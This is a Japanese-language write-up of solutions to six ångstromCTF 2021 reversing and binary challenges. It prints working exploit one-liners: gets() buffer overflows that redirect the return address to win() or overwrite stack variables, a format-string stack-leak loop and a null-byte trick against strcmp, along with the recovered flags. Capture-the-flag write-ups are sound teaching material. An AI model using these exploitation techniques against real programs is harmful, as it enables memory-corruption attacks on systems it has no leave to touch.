ångstromCTF 2021 writeup[Rev,Binary]
ångstromCTF 2021 writeup[Rev,Binary]
ångstromCTF 2021 writeup[Rev,Binary]
問題ファイルや私が書いたコードは(https://github.com/Vegctrp/CTFs/tree/master/angstrom2021)にあります。
FREE FLAGS!!1!!(rev, 50pts, 740solves)
バイナリをgdbかghidraかidaかなんかに突っ込むと、31337 → 419 723 (積が302937) → banana
の順に入力すればいいことがわかります。
actf{what_do_you_mean_bananas_arent_animals}
Revex(rev, 75pts, 178solves)
flagのみ受理される正規表現が渡されるので、気合で読みます。気合で分解して解読すると以下のようになり、flagが決まります。
- (?=.*re)
- "re"という部分がある
- (?=.{21}[^_]{4}}$)
- 22文字目から4文字連続で"_"以外が並び、26文字目が"}"で終了
- (?=.{14}b[^_]{2})
- 15文字目がb, 16.17文字目が"_"以外
- (?=.{8}[C-L])
- (?=.{8}[B-F])
- (?=.{8}[^B-DF])
- 9文字目は{BCDEF}かつ{CDEHIJKL}で、{BCDF}でない→E
- (?=.{7}G(?
..).{7}t\k ) - 8文字目はG、18文字目はt 9,10文字目と19,20文字目が一致
- (?=.*u[^z].$)
- uは末尾から3番目 zは末尾から2番目ではない
- (?=.{11}(?
[13])s.{2}(?!\k )[13]s) - 12文字目は"1"か"3"、13文字目はs 16文字目は12文字目とは違う文字で"1"か"3" 17文字目はs
- (?=.*.{2})
- "??"という並びがある
- (?=actf{)
- 先頭は"actf{"
- (?=.{21}[p-t])
- 22文字目は{pqrst}
- (?=.*1.*3)
- "1", "3"がこの順に入っている
- (?=.{20}(?=.*u)(?=.*y)(?=.*z)(?=.q)(?=._))
- 21文字目以降に{uyzq_}が一つ以上ずつ入っている
- (?=.*Ex)
- Exが入っている
actf{reGEx_1s_b3stEx_qzuy}
Secure Login(Binary, 50pts, 318solves)
dev/urandom
から取ってきたパスワードと入力をstrcmp
で比較しています。
strcmp
はヌル文字を文字列の最後尾と認識するので、入力をヌル文字のみにして、dev/urandom
から取っているパスワードの先頭がヌル文字\x00
になる1/256を引くまで回し続けるといつか当たります。
actf{if_youre_reading_this_ive_been_hacked}
tranquil(Binary, 70pts, 488solves)
入力をgets(&password);
を使ってchar password[64];
に格納しているので、入力をchar password[64];
から溢れさせたい気持ちになります。RIP
レジスタをwin()
関数のアドレスである0x401196
に書き換えるようにするとwin()
関数を呼んでくれます。
echo -e 'password123\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x11\x40\x00' | ./tranquil
actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}
Sanity Checks(Binary, 80pts, 374solves)
gets(&password);
を使ってchar password[64];
を溢れさせたい気持ちになります。
ローカル変数は
char password[64];
int ways_to_leave_your_lover = 0; # 0x32にしたい
int what_i_cant_drive = 0; # 0x37にしたい
int when_im_walking_out_on_center_circle = 0; # 0xf5にしたい
int which_highway_to_take_my_telephones_to = 0; # 0x3dにしたい
int when_i_learned_the_truth = 0; # 0x11にしたい
となっているので、対応する部分を然るべき値に書き換えてやると通ります。
echo -e 'password123\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x00\x00\x00\x3d\x00\x00\x00\xf5\x00\x00\x00\x37\x00\x00\x00\x32\x00\x00\x00' | ./checks
actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}
stickystacks(Binary, 90pts, 309solves)
fgets(name, 6, stdin);
で入力を6文字受け付けた後、printf(name);
をしているので、書式文字列攻撃の気持ちになります。入力に%1$p
といれるとスタックの中身を読めるという定番のアレです。雑に
for ((i=1;i<=100;i++)); do
echo $i
echo %$i\$p | ./stickystacks
done
とすると
33
Name:
Welcome, 0x6c65777b66746361
34
Name:
Welcome, 0x61625f6d27695f6c
35
Name:
Welcome, 0x6c625f6e695f6b63
36
Name:
Welcome, 0x5f7365795f6b6361
37
Name:
Welcome, 0x6b6361625f6d2769
38
Name:
Welcome, 0x5f6568745f6e695f
39
Name:
Welcome, 0x65625f6b63617473
40
Name:
Welcome, 0x3439323135623963
41
Name:
Welcome, 0x3438363737646165
42
Name:
Welcome, 0xa7d333935663161
という部分があったので、これをくっつけてデコードすると勝ちです。
actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}